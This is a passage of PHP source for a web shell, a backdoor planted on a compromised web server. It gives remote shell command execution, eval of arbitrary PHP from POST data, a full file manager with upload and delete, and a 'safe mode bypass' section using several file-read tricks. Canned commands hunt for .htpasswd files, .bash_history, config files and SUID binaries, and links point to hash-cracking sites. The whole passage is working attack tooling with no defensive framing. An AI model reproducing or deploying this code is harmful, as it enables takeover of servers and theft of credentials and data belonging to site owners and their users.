                        @fwrite($fp, $_POST['p3']);
                        @fclose($fp);
                        echo "Saved!<br><script>p3_=\"\";</script>";
                        @touch($_POST['p1'], $time, $time);
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</textarea><input type=submit value=\"submit\"></form>";
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "\n";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3'])) {
                        echo "Can't rename!<br>";
                    } else {
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (!touch($_POST['p1'], $time, $time)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                break;
            /* (С) 12.2015 mitryz */
            case 'frame':
                $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                if ($frameSrc[0] != '/') {
                    $frameSrc = '/' . $frameSrc;
                }
                if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                    $frameSrc .= '/';
                }
                $frameSrc .= htmlspecialchars($_POST['p1']);
                echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                break;
        }
        echo "</div>";
        hardFooter();
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function actionConsole()
    {
        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
            $_POST['p1'] .= ' 2>&1';
        } elseif (!empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
        }
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            echo "d.cf.cmd.value='';\n";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
            if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "c_='" . $GLOBALS['cwd'] . "';";
                }
            }
            echo "d.cf.output.value+='" . $temp . "';";
            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            $temp = ob_get_clean();
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        hardHeader();
        echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array('');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push('');\n\tcur = cmds.length-1;\n}\n</script>";
        echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
        }
        echo "</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
        echo "</form></div><script>d.cf.cmd.focus();</script>";
        hardFooter();
    }
    function actionPhp()
    {
        if (isset($_POST['ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            eval($_POST['p1']);
            $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        hardHeader();
        if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
            echo "<h1>PHP info</h1><div class=content>";
            ob_start();
            phpinfo();
            $tmp = ob_get_clean();
            $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
            $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
            $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
            echo $tmp;
            echo "</div><br>";
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        }
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
        if (!empty($_POST['p1'])) {
            ob_start();
            eval($_POST['p1']);
            echo htmlspecialchars(ob_get_clean());
        }
        echo "</pre></div>";
        hardFooter();
    }
    function actionFilesMan()
    {
        if (!empty($_COOKIE['f'])) {
            $_COOKIE['f'] = @unserialize($_COOKIE['f']);
        }
        if (!empty($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (is_array($_FILES['f']['tmp_name'])) {
                        foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                            if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
                            }
                        }
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, -1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($▟ = readdir($dh)) !== false) {
                            $▟ = $path . $▟;
                            if (basename($▟) == ".." || basename($▟) == ".") {
                                continue;
                            }
                            $type = filetype($▟);
                            if ($type == "dir") {
                                deleteDir($▟);
                            } else {
                                @unlink($▟);
                            }
                        }
                        closedir($dh);
                        @rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            if ($f == '..') {
                                continue;
                            }
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_COOKIE['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_COOKIE['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (@is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    } elseif ($_COOKIE['act'] == 'zip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            if ($zip->open($_POST['p2'], 1)) {
                                chdir($_COOKIE['c']);
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($f == '..') {
                                        continue;
                                    }
                                    if (@is_file($_COOKIE['c'] . $f)) {
                                        $zip->addFile($_COOKIE['c'] . $f, $f);
                                    } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                        foreach ($iterator as $key => $value) {
                                            $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                chdir($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'unzip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            foreach ($_COOKIE['f'] as $f) {
                                if ($zip->open($_COOKIE['c'] . $f)) {
                                    $zip->extractTo($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'tar') {
                        chdir($_COOKIE['c']);
                        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                        ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                        chdir($GLOBALS['cwd']);
                    }
                    unset($_COOKIE['f']);
                    setcookie('f', '', time() - 3600);
                    break;
                default:
                    if (!empty($_POST['p1'])) {
                        prototype('act', $_POST['p1']);
                        prototype('f', serialize(@$_POST['f']));
                        prototype('c', @$_POST['c']);
                    }
                    break;
            }
        }
        hardHeader();
        echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
        $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo "Can't open this folder!";
            hardFooter();
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
        echo "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == 'checkbox')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
            } else {
                return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
            }
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo "<tr id=fak><td colspan=7>\n\t<input type=hidden name=ne value=''>\n\t<input type=hidden name=a value='FilesMan'>\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t<label><select name='p1'>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
            echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
        }
        echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
        if (class_exists('ZipArchive')) {
            echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
        }
        echo "<option value='tar'>+ tar.gz</option>";
        echo "</select></label>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
            echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
        }
        echo "<input type='submit' value='submit'></td></tr></form></table></div>";
        hardFooter();
    }
    function actionStringTools()
    {
        if (!function_exists('hex2bin')) {
            function hex2bin($p)
            {
                return decbin(hexdec($p));
            }
        }
        if (!function_exists('binhex')) {
            function binhex($p)
            {
                return dechex(bindec($p));
            }
        }
        if (!function_exists('hex2ascii')) {
            function hex2ascii($p)
            {
                $r = '';
                for ($i = 0; $i < strLen($p); $i += 2) {
                    $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                }
                return $r;
            }
        }
        if (!function_exists('ascii2hex')) {
            function ascii2hex($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= sprintf('%02X', ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        if (!function_exists('full_urlencode')) {
            function full_urlencode($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= '%' . dechex(ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            if (in_array($_POST['p1'], $stringTools)) {
                echo $_POST['p1']($_POST['p2']);
            }
            $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        hardHeader();
        echo "<h1>String conversions</h1><div class=content>";
        echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
        foreach ($stringTools as $k => $v) {
            echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
        }
        echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
        if (!empty($_POST['p1'])) {
            if (in_array($_POST['p1'], $stringTools)) {
                echo htmlspecialchars($_POST['p1']($_POST['p2']));
            }
        }
        echo "</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\n\t\t\t</table></form>";
        function hardRecursiveGlob($path)
        {
            if (substr($path, -1) != '/') {
                $path .= '/';
            }
            $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
            if (is_array($paths) && @count($paths)) {
                foreach ($paths as $▟) {
                    if (@is_dir($▟)) {
                        if ($path != $▟) {
                            hardRecursiveGlob($▟);
                        }
                    } else {
                        if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
                            echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
                        }
                    }
                }
            }
        }
        if (@$_POST['p3']) {
            hardRecursiveGlob($_POST['c']);
        }
        echo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method='post' target='_blank' name='hf'>\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\n            <input type='hidden' name='act' value='find'/>\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\n            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\n\t\t</form></div>";
        hardFooter();
    }
    function actionSafeMode()
    {
        $temp = '';
        ob_start();
        switch ($_POST['p1']) {
            case 1:
                $temp = @tempnam($test, 'cx');
                if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                    echo @file_get_contents($temp);
                    unlink($temp);
                } else {
                    echo "Sorry... Can't open file";
                }
                break;
            case 2:
                $files = glob($_POST['p2'] . '*');
                if (is_array($files)) {
                    foreach ($files as $filename) {
                        echo $filename . "\n";
                    }
                }
                break;
            case 3:
                $ch = curl_init("file://" . $_POST['p2'] . "\x00" . SELF_PATH);
                curl_exec($ch);
                break;
            case 4:
                ini_restore("safe_mode");
                ini_restore("open_basedir");
                include $_POST['p2'];
                break;
            case 5:
                for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                    $uid = @posix_getpwuid($_POST['p2']);
                    if ($uid) {
                        echo join(':', $uid) . "\n";
                    }
                }
                break;
            case 6:
                if (!function_exists('imap_open')) {
                    break;
                }
                $stream = imap_open($_POST['p2'], "", "");
                if ($stream == FALSE) {
                    break;
                }
                echo imap_body($stream, 1);
                imap_close($stream);
                break;
        }
        $temp = ob_get_clean();
        hardHeader();
        echo "<h1>Safe mode bypass</h1><div class=content>";
        echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,\"6\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"submit\"></form>";
        if ($temp) {
            echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
        }
        echo "</div>";
        hardFooter();
    }
    function actionLogout()
    {
        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die('bye!');
    }
    function actionSelfRemove()
    {
        if ($_POST['p1'] == 'yes') {
            if (@unlink("/var/www/html/pandored.php.4b2c5ece4f4a357b187f24104fe1da65.bin")) {
                die('Shell has been removed');
            } else {
                echo "unlink error!";
            }
        }
        if ($_POST['p1'] != 'yes') {
            hardHeader();
        }
